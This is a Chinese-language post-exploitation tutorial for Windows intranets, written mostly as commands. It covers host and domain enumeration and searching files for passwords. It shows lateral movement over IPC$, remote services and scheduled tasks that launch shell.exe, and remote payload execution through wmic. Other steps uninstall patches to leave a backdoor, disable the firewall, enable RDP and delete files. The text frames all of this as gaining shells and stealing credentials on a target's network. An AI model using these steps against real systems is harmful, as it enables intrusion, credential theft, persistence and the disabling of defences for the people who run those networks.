信息收集[入门篇]
利用系统现有工具在现有权限条件下,我们到底能做些什么务必要时刻谨记我们搜集信息的初衷(严谨盲目),我们所搜集到的每个信息,都应该有它存在的价值,也就是说后续我们到底可以拿它干什么?这无比重要,举个简单例子,就拿搜集密码来说,首先我要知道哪些地方可能会存有密码:
数据库配置文件会有数据库的连接密码(SA@root)
三方工具的配置文件中可能也有保存的密码hash(如filezilla FTP之流)
浏览器中说不定保存的各种网站密码和系统密码是一样的(可能会有目标网站,这就极有可能getshell),如果Lucky的话,会搞到VPN账号密码,岂不快哉!
在权限和免杀都没问题的情况下,要搜集的密码还有很多,关于更多搜集密码,猜密码的东西,后续讲
首先,我们要明白的是:信息收集"严禁盲目!!!" 如果照本宣科的把命令过一遍是没有任何意义的.对信息的敏感度一定要高,要细心.务必要做记录,勤于记录这是一个好习惯.
工具是死的,人是活的. 我们知道想要做什么,远远比知道怎么做更重要
下面讲解针对各个部位的各种信息手法
- 信息收集
1.1. 系统
1.1.1. systeminfo
· 功能:显示有关计算机及其操作系统的详细配置信息,系统版本,架构,补丁情况,包括操作系统配置,安全信息,产品ID和硬件属性(如RAM,磁盘空间和网卡)
· systeminfo命令工具十分强大。我们可以在命令提示符下面输入 systeminfo /?查看命令手册。系统显示可以还可以远程机器的信息,还可以输出为CSV文件更好的检索系统信息
1.1.2. systeminfo /fo:csv
· 输出为csv格式,默认为list格式显示有关计算机及其操作系统的详细配置信息,
包括操作系统配置,安全信息,产品ID和硬件属性(如RAM,磁盘空间和网卡)
1.1.3. systeminfo>>info.txt
· 会将systeteminfo命令运行结果吸入到info.txt这个文本文件
· type info.txt
• 显示这个文本文件的内容,我们可以从中获取很多重要的系统信息。
• 从这个文件中我们可以读取到网卡配置,硬件配置和补丁程序的详情,这个可以帮助我们了解系统的漏洞。
1.1.4. 一般来说,保存为CSV文件更好,然后我们可以打开CSV来检索列表。
我们键入 systeminfo /fo csv >>D:\1.csv
就可以了。用wps表格打开
1.1.5. systeminfo /S 192.168.3.122 /U KLIONSEC\administrator /P "admin!@#123"
· 查看远程指定机器的详细系统配置信息
1.1.6. systeminfo>temp.txt&(for %i in (KB2271195 KB2124261 KB2160329 KB2621440 KB2707511 KB2829361 KB2864063 KB3000061 KB3045171 KB3036220 KB3077657 KB3079904 KB3134228 KB3124280 KB3199135) do @type temp.txt|@find /i "%i" @echo %i Not Installed!)&del /f /q /a temp.txt
· 如果存在,后续查看对应MS
1.1.7. hostname
· 计算机名
1.1.8. set
· 查看当前机器的环境变量配置,看有没有我们可以直接利用到的语言环境
1.1.9. ver / winver 查看当前机器的NT内核版本
1.1.10. fsutil fsinfo drives 列出当前机器上的所有盘符
1.1.11. net share 查看当前机器开启的共享
1.1.12. driverquery 查看当前机器安装的驱动列表
1.1.13. restart /r /t 0 立即重启当前机器
1.2. 用户及用户组
1.2.1. whoami
· 显示当前登录到本地系统的用户的用户,组和权限信息。 如果没有参数使用,
whoami将显示当前的域和用户名
1.2.2. whoami /user
· 用户名和SID
1.2.3. whoami /groups
· 用户所属的用户组
1.2.4. whoami /priv
· 用户当前权限
1.2.5. whoami /ALL /FO LIST
1.2.6.
1.2.7. net user "用户名"
· Net user “用户名”查看用户信息
• (查看当前机器中所有的用户名,开始搜集准备用户名字典 )
添加或修改用户帐户或显示用户帐户信息。
1.2.8. net user 查看本机用户
1.2.9. net user “admin” 查看admin用户的详细信息
1.2.10. net user /domain 查看域中的用户
1.2.11. net user epoadmin /domain 查看指定用户在当前域中的详细属性信息
1.2.12. query user
· 查当前机器中正在线的用户,注意管理员此时在不在
1.2.13. net localgroup
· 添加,显示或修改本地组
· 查当前机器中所有的组名,了解不同组的职能。
如,IT,HR,ADMIN,FILE…
1.2.14. net localgroup “administrators”
· 查看指定成员组的信息及成员
· 管理员对计算机/域有不受限制的完全访问权
1.2.15. net group
· 添加,显示或修改域中的全局组
1.2.16. net group /domain 查看域中的用户组
1.2.17. net group “domain admins” /domain 获得域管理员列表
1.2.18. net group “domain controllers” /domain 获得域控制器列表
1.2.19. net group “domain computers” /domain 获得所有域成员计算机列表
1.2.20. net accounts
· 更新用户帐户数据库并修改所有帐户的密码和登录要求。可以用来查看密码策略等信息
1.2.21. net accounts /domain
· 获得域密码策略设置,密码长短等信息
1.3. 安装的程序&服务进程
1.3.1. powershell
· Get-WmiObject -class Win32_Product |Select-Object -Property name,version
1.3.2. 服务进程
· tasklist /svc 显示当前机器所有的进程所对应的服务[只限于当前用户又
权限看到的进程]
· tasklist /m 显示本地所有进程所调用的dll[同样只限于当前用户又权限看
到的进程]
· tasklist /S 192.168.3.122 /v /U administrator /P "admin!@#123" 查看
远程指定机器的进程列表
· tasklist /S 192.168.3.122 /v /U KLIONSEC\administrator /P
"admin!@#123" 域内可以直接用机器名来代替
· taskkill /im calc.exe 用指定进程名的方式结束指定进程
· taskkill /S 192.168.3.122 /pid 3440 /U KLIONSEC\administrator /P
"admin!@#123" 结束远程机器上的指定进程
· wusa /uninstall /KB:2999226 /quiet /norestart 不重启卸载指定系统补丁,方便留后门,前提是权限要够
1.3.3. 安装的驱动列表
· driverquery 查看当前机器安装的驱动列表
1.4. 网络信息
1.4.1. ipconfig
· 显示所有当前TCP / IP网络配置值并刷新动态主机配置协议(DHCP)和域名系统(DNS)设置。 在不带参数的情况下使用, ipconfig显示所有适配器的IP地址,
子网掩码和默认网关。
1.4.2. ipconfig /all 查看所有适配器
· 查看本机ip配置,观察本机是否在域内,内网段有几个,网关在哪里
1.4.3. ipconfig /displaydns 查看本地DNS缓存
· 显示DNS客户端解析程序缓存的内容,其中包括从本地主机文件预加载的条 目和计算机解析的名称查询的任何最近获取的资源记录。
查看当前机器中所有的网络连接
1.4.4. route
· 查看路由信息
• 显示并修改本地IP路由表中的条目
1.4.5. route print -4 查看ipv4路由信息
1.4.6. route print 打印本机路由信息,可以看到本机所有的网卡接口
1.4.7. arp
· 显示和修改地址解析协议(ARP)缓存中的条目,该缓存包含一个或多个用于存储IP地址及其解析的以太网或令牌环物理地址的表。
1.4.8. arp –a 显示arp缓存
· 查找有价值的内网ARP通信记录
1.4.9. netsh int ip delete arpcache 删除当前机器的arp缓存
1.4.10. tracert 8.8.8.8 跟踪本机出口ip
1.4.11. netstat
· 查看当前机器中所有的网络连接
· 显示活动的TCP连接,计算机侦听的端口,以太网统计信息, IP路由表, IPv4统计信息以及IPv6统计信息。
1.4.12. netstat –ano 显示活动的tcp、 udp连接及它们对应的pid,地址与端口用数字表示
1.4.13. netstat –p tcp 显示tcp连接
1.4.14. net start 查看本机运行的所有服务
1.4.15. netstat -ano 查看本机所有的tcp,udp端口连接及其对应的pid
1.4.16. netstat -anob 查看本机所有的tcp,udp端口连接,pid及其对应的发起程序
1.4.17. netstat -ano | findstr "ESTABLISHED" 查看当前正处于连接状态的端口及ip
1.4.18. netstat -ano | findstr "TIME_WAIT"
1.5. IPC$共享
1.5.1. net share
· 管理共享资源。 在不带参数的情况下使用, net share显示关于在本地计算机上共享的所有资源的信息
1.5.2. net share 查看当前机器开启的共享
1.5.3. net share c$ 查看c$共享的信息
1.5.4. net share public_dir="c:\public" /grant:Everyone,Full 设置共享
1.5.5. net use
· 查看网络连接
· 将计算机连接到共享资源或将计算机与共享资源断开连接,或显示有关计算机连接的信息。 该命令还控制持久的网络连接。 没有参数的情况下, net use检索一个网络连接列表
1.5.6. 利用最基础的ipc连接,这里需要注意下防火墙,如果没允许文件和打印共享服务,是根本net不上去的
1.5.7. net use \192.168.3.122\ipc$ /u:"" "" 先空连接探测
1.5.8. net use 查看当前机器中的ipc连接有哪些
1.5.9. net use \192.168.3.122\ipc$ /del
1.5.10. net use \192.168.3.122\admin$ /user:"dcadmin" "admin!@#45" 建立真正的IPC
1.5.11. ipc建立成功后,尝试直接在本地往远程机器上拷贝文件
1.5.12. 方式一
· net use p: \192.168.3.122\c$ 可在建立ipc后直接把对方的c盘映射过来,直接在本地进行拷贝
· net use p: /del 用完以后,务必立马删除映射
1.5.13. 方式二
· xcopy d:\sqlitedata*.* \192.168.3.122\c$\temp /E /Y /D 也可在建立ipc后直接远程拷贝
1.5.14. 依然是在ipc建立后,可直接在远程机器上创建,删除服务,创建服务时需要注意,
常规程序需要有返回值,不然启动服务时会报1053错误
1.5.15. sc \192.168.3.122 create shellsrv binpath= "c:\shell.exe" start= auto displayname= "shellstart"
1.5.16. sc \192.168.3.122 stop shllsrv
1.5.17. sc \192.168.3.122 delete shellsrv
1.5.18. net use \192.168.3.122\admin$ /del
1.5.19. net use * /del 最后,删除所有ipc,如果系统中还有其它的ipc连接,也可指定只删除自己的
1.5.20. 在远程机器上快速创建删除定时任务,需要指定目标系统的账号密码 [ 03以下系统用at]
1.5.21. net use \192.168.3.122\admin$ "admin!@#45"
/user:"klionsec\administrator"
· admin!@#45
• 密码
· /user:"klionsec\administrator"
• 账号
1.5.22. net time \192.168.3.122 查看目标机器当前时间
1.5.23. net use \192.168.3.122\admin$ /del
1.6. 定时任务
1.6.1. schtasks /create /? 查看schtasks使用帮助
1.6.2. chcp 437
· 如果当前机器是中文系统需要先修改下cmd字符集,
默认cmd是gbk,不然后面用schtasks远程创建计划任务时会报错
1.6.3. chcp 936
· 用完以后再把字符集改回来,如果是英文系统就不会有这种问题
1.6.4. schtasks使用说明
· /Create 创建新计划任务。
· /Delete 删除计划任务。
· /Query 显示所有计划任务。
· /Change 更改计划任务属性。
· /Run 按需运行计划任务。
· /End 中止当前正在运行的计划任务。
· /ShowSid 显示与计划的任务名称相应的安全标识符。
· /? 显示帮助消息。
·
创建新计划任务
SCHTASKS /Create [/S system [/U username [/P [password]]]]
[/RU username [/RP password]] /SC schedule [/MO modifier] [/D day]
[/M months] [/I idletime] /TN taskname /TR taskrun [/ST starttime]
[/RI interval] [ {/ET endtime | /DU duration} [/K] [/XML xmlfile] [/V1]]
[/SD startdate] [/ED enddate] [/IT | /NP] [/Z] [/F]
1.6.5. schtasks /s 192.168.3.122 /u "klionsec\administrator" /p "admin!@#45" /create /TN "shellexec" /SC DAILY /ST 11:18 /F /RL HIGHEST /SD 2017/11/13 /ED 2017/11/16 /TR "C:\shell.exe"
1.6.6. schtasks /s 192.168.3.122 /u "klionsec\administrator" /p
"admin!@#45" /query | findstr "shell"
1.6.7. schtasks /s 192.168.3.122 /u "klionsec\administrator" /p
"admin!@#45" /TN "shellexec" /delete
1.6.8. 说明书
· 创建新计划任务
· SCHTASKS /Create [/S system [/U username [/P [password]]]]
· [/RU username [/RP password]] /SC schedule [/MO modifier] [/D day]
· [/M months] [/I idletime] /TN taskname /TR taskrun [/ST starttime]
· [/RI interval] [ {/ET endtime | /DU duration} [/K] [/XML xmlfile] [/V1]]
· [/SD startdate] [/ED enddate] [/IT | /NP] [/Z] [/F]
· 描述:
· 允许管理员在本地或远程系统上创建计划任务。
· 参数列表:
· /S system 指定要连接到的远程系统。如果省略这个系统参数,默认是本地系统。
· /U username 指定应在其中执行 SchTasks.exe 的用户上下文。
· /P [password] 指定给定用户上下文的密码。如果省略则提示输入。
· /RU username 指定任务在其下运行的“运行方式”用户帐户(用户上下文)。
· 对于系统帐户,有效值是 ""、"NT AUTHORITY\SYSTEM" 或"SYSTEM"。
· 对于 v2 任务,"NT AUTHORITY\LOCALSERVICE"和
· "NT AUTHORITY\NETWORKSERVICE"以及常见的 SID。对这三个也都可用。
· /RP [password] 指定“运行方式”用户的密码。要提示输入密码,值必须是 "*" 或无。
· 系统帐户会忽略该密码。必须和 /RU 或 /XML 开关一起使用。
·
· /RU/XML /SC schedule 指定计划频率。
· 有效计划任务: MINUTE、 HOURLY、DAILY、WEEKLY、
· MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT.
· /MO modifier 改进计划类型以允许更好地控制计划重复
· 周期。有效值列于下面“修改者”部分中。
· /D days 指定该周内运行任务的日期。有效值:
· MON、TUE、WED、THU、FRI、SAT、SUN
· 和对 MONTHLY 计划的 1 - 31
· (某月中的日期)。通配符“*”指定所有日期。
· /M months 指定一年内的某月。默认是该月的第一天。
· 有效值: JAN、FEB、MAR、APR、MAY、JUN、
· JUL、 AUG、SEP、OCT、NOV 和 DEC。通配符
· “*” 指定所有的月。
· /I idletime 指定运行一个已计划的 ONIDLE 任务之前
· 要等待的空闲时间。
· 有效值范围: 1 到 999 分钟。
· /TN taskname 指定唯一识别这个计划任务的名称。
· /TR taskrun 指定在这个计划时间运行的程序的路径
· 和文件名。
· 例如: C:\windows\system32\calc.exe
· /ST starttime 指定运行任务的开始时间。
· 时间格式为 HH:mm (24 小时时间),例如 14:30 表示
· 2:30 PM。如果未指定 /ST,则默认值为
· 当前时间。/SC ONCE 必需有此选项。
· /RI interval 用分钟指定重复间隔。这不适用于
· 计划类型: MINUTE、HOURLY、
· ONSTART, ONLOGON, ONIDLE, ONEVENT.
· 有效范围: 1 - 599940 分钟。
· 如果已指定 /ET 或 /DU,则其默认值为
· 10 分钟。
· /ET endtime 指定运行任务的结束时间。
· 时间格式为 HH:mm (24 小时时间),例如,14:50 表示 2:50 PM。
· 这不适用于计划类型: ONSTART、
· ONLOGON, ONIDLE, ONEVENT.
· /DU duration 指定运行任务的持续时间。
· 时间格式为 HH:mm。这不适用于 /ET 和
· 计划类型: ONSTART, ONLOGON, ONIDLE, ONEVENT.
· 对于 /V1 任务,如果已指定 /RI,则持续时间默认值为
· 1 小时。
· /K 在结束时间或持续时间终止任务。
· 这不适用于计划类型: ONSTART、
· ONLOGON, ONIDLE, ONEVENT.
· 必须指定 /ET 或 /DU。
· /SD startdate 指定运行任务的第一个日期。
· 格式为 yyyy/mm/dd。默认值为
· 当前日期。这不适用于计划类型: ONCE、
· ONSTART, ONLOGON, ONIDLE, ONEVENT.
· /ED enddate 指定此任务运行的最后一天的日期。
· 格式是 yyyy/mm/dd。这不适用于计划类型:
· ONCE、ONSTART、ONLOGON、ONIDLE。
· /EC ChannelName 为 OnEvent 触发器指定事件通道。
· /IT 仅有在 /RU 用户当前已登录且
· 作业正在运行时才可以交互式运行任务。
· 此任务只有在用户已登录的情况下才运行。
· /NP 不储存任何密码。任务以给定用户的身份
· 非交互的方式运行。只有本地资源可用。
· /Z 标记在最终运行完任务后删除任务。
· /XML xmlfile 从文件的指定任务 XML 中创建任务。
· 可以组合使用 /RU 和 /RP 开关,或者在任务 XML 已包含
· 主体时单独使用 /RP。
· /V1 创建 Vista 以前的平台可以看见的任务。
· 不兼容 /XML。
· /F 如果指定的任务已经存在,则强制创建
· 任务并抑制警告。
· /RL level 为作业设置运行级别。有效值为
· LIMITED 和 HIGHEST。默认值为 LIMITED。
· /DELAY delaytime 指定触发触发器后延迟任务运行的
· 等待时间。时间格式为
· mmmm:ss。此选项仅对计划类型
· ONSTART, ONLOGON, ONEVENT.
· /? 显示帮助消息。
· 修改者: 按计划类型的 /MO 开关的有效值:
· MINUTE: 1 到 1439 分钟。
· HOURLY: 1 - 23 小时。
· DAILY: 1 到 365 天。
· WEEKLY: 1 到 52 周。
· ONCE: 无修改者。
· ONSTART: 无修改者。
· ONLOGON: 无修改者。
· ONIDLE: 无修改者。
· MONTHLY: 1 到 12,或FIRST, SECOND, THIRD, FOURTH, LAST, LASTDAY。
· ONEVENT: XPath 事件查询字符串。
· 示例:
· ==> 在远程机器 “ABC” 上创建计划任务 “doc”,
· 该机器每小时在 “runasuser” 用户下运行 notepad.exe。
· SCHTASKS /Create /S ABC /U user /P password /RU runasuser
· /RP runaspassword /SC HOURLY /TN doc /TR notepad
· ==> 在远程机器 “ABC” 上创建计划任务 “accountant”,
· 在指定的开始日期和结束日期之间的开始时间和结束时间内,
· 每隔五分钟运行 calc.exe。
· SCHTASKS /Create /S ABC /U domain\user /P password /SC MINUTE
· /MO 5 /TN accountant /TR calc.exe /ST 12:00 /ET 14:00
· /SD 06/06/2006 /ED 06/06/2006 /RU runasuser /RP userpassword
· ==> 创建计划任务 “gametime”,在每月的第一个星期天运行“空当接龙”。
· SCHTASKS /Create /SC MONTHLY /MO first /D SUN /TN gametime
· /TR c:\windows\system32\freecell
· ==> 在远程机器 “ABC” 创建计划任务 “report”,每个星期运行 notepad.exe。
· SCHTASKS /Create /S ABC /U user /P password /RU runasuser
· /RP runaspassword /SC WEEKLY /TN report /TR notepad.exe
· ==> 在远程机器 “ABC” 创建计划任务 “logtracker”,
· 每隔五分钟从指定的开始时间到无结束时间,
· 运行 notepad.exe。将提示输入 /RP 密码。
· SCHTASKS /Create /S ABC /U domain\user /P password /SC MINUTE
· /MO 5 /TN logtracker
· /TR c:\windows\system32\notepad.exe /ST 18:30
· /RU runasuser /RP
· ==> 创建计划任务 “gaming”,每天从 12:00 点开始到14:00 点自动结束,运行 freecell.exe。
· SCHTASKS /Create /SC DAILY /TN gaming /TR c:\freecell /ST 12:00
· /ET 14:00 /K
· ==> 创建计划任务“EventLog”以开始运行 wevtvwr.msc。只要在“系统”通道中发布事件 101
· SCHTASKS /Create /TN EventLog /TR wevtvwr.msc /SC ONEVENT
· /EC System /MO *[System/EventID=101]
· ==> 文件路径中可以加入空格,但需要加上两组引号,
· 一组引号用于 CMD.EXE,另一组用于 SchTasks.exe。用于 CMD
· 的外部引号必须是一对双引号;内部引号可以是一对单引号或
· 一对转义双引号:
· SCHTASKS /Create
· /tr "'c:\program files\internet explorer\iexplorer.exe'
· \"c:\log data\today.xml\"" ...
· 删除计划任务
· SCHTASKS /Delete [/S system [/U username [/P [password]]]]
· /TN taskname [/F]
· 描述:
· 删除一个或多个计划任务。
· 参数列表:
· /S system 指定要连接到的远程系统。
· /U username 指定 schtasks.exe 要执行的用户上下文。
· /P [password] 指定给定用户上下文密码。如果省略则提示输入。
· /TN taskname 指定要删除的计划任务名称。可以使用通配符 "*" 来删除所有任务。
· /F 强制删除该任务,而且如果指定的任务当前正在运行,则抑制警告。
· /? 显示帮助消息。
· 示例:
· SCHTASKS /Delete /TN * /F
· SCHTASKS /Delete /TN "Backup and Restore"
· SCHTASKS /Delete /S system /U user /P password /TN "Start Restore"
· SCHTASKS /Delete /S system /U user /P password /TN "Start Backup" /F
· 显示所有计划任务
SCHTASKS /Query [/S system [/U username [/P [password]]]]
· [/FO format | /XML [xml_type]] [/NH] [/V] [/TN taskname] [/?]
· 描述:
· 允许管理员显示本地或远程系统上的计划任务。
· 参数列表:
· /S system 指定要连接到的远程系统。
· /U username 指定 schtasks.exe 要执行的用户上下文。
· /P [password] 指定给定的用户上下文密码。如果省略则提示输入。
· /FO format 为输出指定格式。有效值: TABLE、LIST、CSV。
· /NH 指定在输出中不显示列标题。只对 TABLE 格式有效。
· /V 显示详细任务输出。
· /TN taskname 指定要检索其信息的任务名称,否则会检索所有任务名称的信息。
· /XML [xml_type] 以 XML 格式显示任务定义。
· 如果 xml_type 为 ONE,则输出为一个有效 XML 文件。
· 如果 xml_type 不存在,则输出将为
· 所有 XML 任务定义的串联。
· /? 显示帮助消息。
· 示例:
· SCHTASKS /Query
· SCHTASKS /Query /?
· SCHTASKS /Query /S system /U user /P password
· SCHTASKS /Query /FO LIST /V /S system /U user /P password
· SCHTASKS /Query /FO TABLE /NH /V
· 更改计划任务属性
· SCHTASKS /Change [/S system [/U username [/P [password]]]] /TN taskname
· { [/RU runasuser] [/RP runaspassword] [/TR taskrun] [/ST starttime]
· [/RI interval] [ {/ET endtime | /DU duration} [/K] ]
· [/SD startdate] [/ED enddate] [/ENABLE | /DISABLE] [/IT] [/Z] }
· 描述:
· 更改要运行的程序,或计划任务使用的用户帐户和密码。
· 参数列表:
· /S system 指定要连接的远程系统。
· /U username 指定应在其中执行 schtasks.exe的用户上下文。
· /P [password] 指定给定用户上下文的密码。如果省略则提示输入。
· /TN taskname 指定要更改的计划任务。
· /RU username 更改必须在其中执行计划任务的
· 用户名(用户上下文)。对于系统帐户,
· 有效值为 ""、"NT AUTHORITY\SYSTEM" 或 "SYSTEM"。
· 对于 v2 任务,"NT AUTHORITY\LOCALSERVICE"和
· "NT AUTHORITY\NETWORKSERVICE"以及常见的 SID
· 对这三个也都可用。
· /RP password 为现有用户上下文指定新密码
· 或为新用户帐户指定密码。
· 对系统帐户忽略此密码。
· /TR taskrun 指定计划任务将运行的新程序。
· /ST starttime 指定运行任务的开始时间。
· 时间格式为 HH:mm (24 小时时间),例如 14:30表示 2:30 PM。
· /RI interval 用分钟指定重复间隔。有效范围: 1 - 599940 分钟。
· /ET endtime 指定运行任务的结束时间。
· 时间格式为 HH:mm (24 小时时间),例如 14:50
· 表示 2:50 PM。
· /DU duration 指定运行任务的持续时间。
· 时间格式为 HH:mm。这不适用于 /ET。
· /K 在结束时间或持续时间终止任务。
· /SD startdate 指定运行任务的第一个日期。
· 格式为 yyyy/mm/dd。
· /ED enddate 指定任务应该运行的最后一个日期。
· 格式为 yyyy/mm/dd。
· /IT 仅有在 /RU 用户当前已登录且
· 作业正在运行时才可以交互式运行任务。
· 此任务只有在用户已登录的情况下才运行。
· /RL level 设置作业的运行级别。有效值为
· LIMITED 和 HIGHEST。默认情况下是不对其进行更改。
· /ENABLE 启用计划任务。
· /DISABLE 禁用计划任务。
· /Z 标记在最终运行完任务后删除任务。
· /DELAY delaytime 指定触发触发器后延迟任务运行的
· 等待时间。时间格式为
· mmmm:ss。此选项仅对计划类型
· ONSTART、ONLOGON 和 ONEVENT 有效。
· /? 显示帮助消息。
· 示例:
· SCHTASKS /Change /RP password /TN "备份和还原"
· SCHTASKS /Change /TR restore.exe /TN "启动还原"
· SCHTASKS /Change /S system /U user /P password /RU newuser
· /TN "Start Backup" /IT
· 按需运行计划任务
· SCHTASKS /Run [/S system [/U username [/P [password]]]] [/I] /TN taskname
· 描述:
· 按需运行计划任务。
· 参数列表:
· /S system 指定要连接到的远程系统。
· /U username 指定应在其中执行 schtasks.exe的用户上下文。
· /P [password] 为给定的用户上下文指定密码,如果省略则提示输入。
· /I 忽略任何限制立即运行任务。
· /TN taskname 标识要立即运行的计划任务。
· /? 显示此帮助消息。
· 示例:
· SCHTASKS /Run /TN "Start Backup"
· SCHTASKS /Run /S system /U user /P password /I /TN“备份和还原”
· 中止当前正在运行的计划任务
· SCHTASKS /End [/S system [/U username [/P [password]]]] /TN taskname
· 描述:
· 停止正在运行的计划任务。
· 参数列表:
· /S system 指定要连接到的远程系统。
· /U username 指定应在其中执行schtasks.exe 的用户上下文。
· /P [password] 为给定的用户上下文指定密码。如果已忽略,将提示输入密码。
· /TN taskname 指定要终止的计划任务。
· /? 显示帮助消息。
· 示例:
· SCHTASKS /End /TN "Start Backup"
· SCHTASKS /End /S system /U user /P password /TN "Backup and Restore"
· 显示与计划的任务名称相应的安全标识符
· SCHTASKS /ShowSid /TN taskname
· 描述:
· 向任务的专用用户显示 SID。
· 参数列表:
· /TN taskname 指定计划的任务名称。名称中不允许有短划线。
· /? 显示帮助消息。
· 示例:
· SCHTASKS /ShowSid /TN "\Microsoft\Windows\RAC\RACTask
1.7. 内网存活
1.7.1. for /L %I in (1,1,254) DO @ping -n 1 192.168.3.%I | findstr "TTL=128"
>> pinglog.txt
· 初步先大致看下当前所在内网有多少存活机器 [ 单基于icmp的扫描 ]
1.7.2. for /L %I in (1,1,254) DO @nslookup 192.168.3.%I | find "Name:" >>
dnslog.txt
· 搜集当前内网中的dns信息
1.8. 防火墙
1.8.1. netsh advfirewall show private 查看当前机器防火墙状态
1.8.2. netsh advfirewall set allprofiles state off 关闭当前机器防火墙
1.8.3. netsh advfirewall set allprofiles state on 开启当前机器防火墙
1.9. 远程桌面RDP
1.9.1. REG
· 操作当前机器的rdp,实战中推荐直接用powershell来搞,直接用reg可能会触发防护报警:
· 第一种,使用原始的reg工具,适合03以下的系统 ```查询rdp的端口,注意把默认的十六进制转换成十进制
· reg query "HKLM\System\CurrentControlSet\Control\Terminal
Server\WinStations\RDP-Tcp" /v PortNumber
· reg add
"HKEYLOCALMACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
• 启动RDP
· reg add
"HKEYLOCALMACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f
• 禁用
1.9.2. powershell
· powershell -exec bypass
• 执行旁路
· Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server'-name "fDenyTSConnections" -Value 0
· Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server'-name "fDenyTSConnections" -Value 1
• 不允许
1.9.3. 放开防火墙对rdp的限制
· netsh advfirewall firewall set rule group="remote desktop" new enable=yes
· netsh advfirewall firewall set rule group="远程桌面" new enable=yes
1.10. 敏感文件
1.10.1. 在指定目录下搜索各类敏感文件
·
dir /a /s /b d:\"*.txt"
dir /a /s /b d:\"*.xml"
dir /a /s /b d:\"*.mdb"
dir /a /s /b d:\"*.sql"
dir /a /s /b d:\"*.mdf"
dir /a /s /b d:\"*.eml"
dir /a /s /b d:\"*.pst"
dir /a /s /b d:\"conf"
dir /a /s /b d:\"bak"
dir /a /s /b d:\"pwd"
dir /a /s /b d:\"pass"
dir /a /s /b d:\"login"
dir /a /s /b d:\"user"
1.10.2. 批量压缩指定文件,注意,list.txt里存放的是所有要打包文件的绝对路径
· makecab /f list.txt /d compressiontype=lzx /d
compressionmemory=21 /d maxdisksize=1024000000 /d
diskdirectorytemplate=dd* /d cabinetnametemplate=dd*.cab
1.10.3. 在指定目录下搜集各种账号密码
· findstr /si pass *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
· findstr /si userpwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
· findstr /si pwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml
*.cgi *.bak
· findstr /si login *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml
*.cgi *.bak
· findstr /si user *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml
*.cgi *.bak
1.10.4. 查看,删除 指定文件
· type ad\admin_pass.bak 查看某个文件内容
· del d:\ad*.* /a /s /q /f 强制删除指定路径下的所有文件
• 短文件名
· tree /F /A D:\ >> file_list.txt 导出指定路径下的文件目录结构
1.11. 域内套件信息收集
1.11.1. NET套件
· net user /domain 查看当前域中的所有用户名,根据用户名总数大概判断
域的规模
· net user epoadmin /domain 查看指定用户在当前域中的详细属性信息
· net view 正常情况下可以用该命令查看当前域中在线的机器有哪些,但这
样看着确实不太直观,稍微用批处理搞一下把机器名对应的ip也显示出来,
岂不更畅快
•
@echo off setlocal ENABLEDELAYEDEXPANSION @FOR /F "usebackq eol=- skip=1 delims=\" %%j IN (`net view ^| find "命令成功完成" /v ^|find "The command completed successfully." /v`) DO ( @FOR /F "usebackq delims=" %%i IN (`@ping -n 1 -4 %%j ^| findstr "Pinging"`) DO ( @FOR /F "usebackq tokens=2 delims=[]" %%k IN (`echo %%i`) DO (echo %%k %%j) ) )
· net accounts /domain 查看当前域的域内账户密码设置策略
· net config workstation 看看当前的登录域
· net view /domain 查看所有的域名称
· net view /domain:PROGRAM 查看指定域中在线的计算机列表
· net time /domain 查看主域位置,一般都会把主域作为时间服务器
· net group /domain 查看当前域中的所有组名
· net group "domain admins" /domain 看看当前域中的域管都有谁
· net group "domain computers" /domain 看看当前域中的所有的计算机
名,只要登录过该域计算机名都会被保存下来,并非当前在线机器
· net group "domain controllers" /domain 看看域控是哪几个
· nltest /domain_trusts 查看域内信任关系
1.11.2. dsquery 工具
· 该工具貌似只在域控机器上有,应该是在域的安装包里,你可以把对应系统的这个工具的exe和dll扣出来上传上去用
· dsquery computer 查看当前域内的所有机器,dsquery工具一般在域控上才有,不过你可以上传一个和目标系统版本对应的dsquery
· dsquery user 查看当前域中的所有账户名
· dsquery group 查看当前域内的所有组名
· dsquery subnet 查看到当前域所在的网段
· dsquery site 查看域内所有的web站点
· dsquery server 查看当前域中的所有服务器(应该是指域控)
· dsquery user domainroot -name admin* -limit 240 查询前240个以admin开头的用户名
1.12. WMIC套件使用
1.12.1. 其实,上面基础工具能干的事情,wmic全部能干,且过之不及],在操作远程时,如果遇到’RPC 服务不可用’直接把机器名换成ip即可,
别看这么多,我们实战用的最多的可能就是远程执行及远程开启rdp了,如,远程导hash,远程执行payload…
· 远程过程调用(RPC),远程过程调用可完成网络环境下的对象之间的消息传递工作。第二种方式是共有存储器方式传递消息。
1.12.2. 查询当前及远程机器的进程信息
· wmic process list brief
• 进程列表简报
· wmic process list brief /every:1
• 每隔一秒刷新一次系统进程
· wmic /node:"192.168.3.122" /user:klionsec\administrator
/password:"admin!@#123" process list brief
1.12.3. 查询当前及远程机器上指定进程的详细信息
· wmic process where name='calc.exe' list brief
· wmic /node:"192.168.3.122" /user:klionsec\administrator
/password:"admin!@#123" process where name='calc.exe' list brief
1.12.4. 删除当前及远程机器中的指定进程
· wmic process where name='calc.exe' delete
· wmic /node:"192.168.3.122" /user:klionsec\administrator
/password:"admin!@#123" process where name='calc.exe' delete
1.12.5. 在当前机器中执行指定程序
· wmic process call create "calc.exe"
1.12.6. 通过smb在远程机器上执行指定程序,如,在本地让远程机器上线,在抓取目标系统用户的hash,等等...
· wmic /node:192.168.3.122 /user:klionsec\administrator /password:"admin!@#123" process call create "web_delivery payload"
1.12.7. 终止执行某程序
· wmic process where name="calc.exe" call terminate
· wmic /node:192.168.3.122 /user:klionsec\administrator
/password:"admin!@#123" process where name="calc.exe" call
terminate
1.12.8. 开启,关闭当前机器的rdp
· wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call
SetAllowTSConnections 1 开启
· wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call
SetAllowTSConnections 0 关闭
1.12.9. 开启,关闭远程机器的RDP
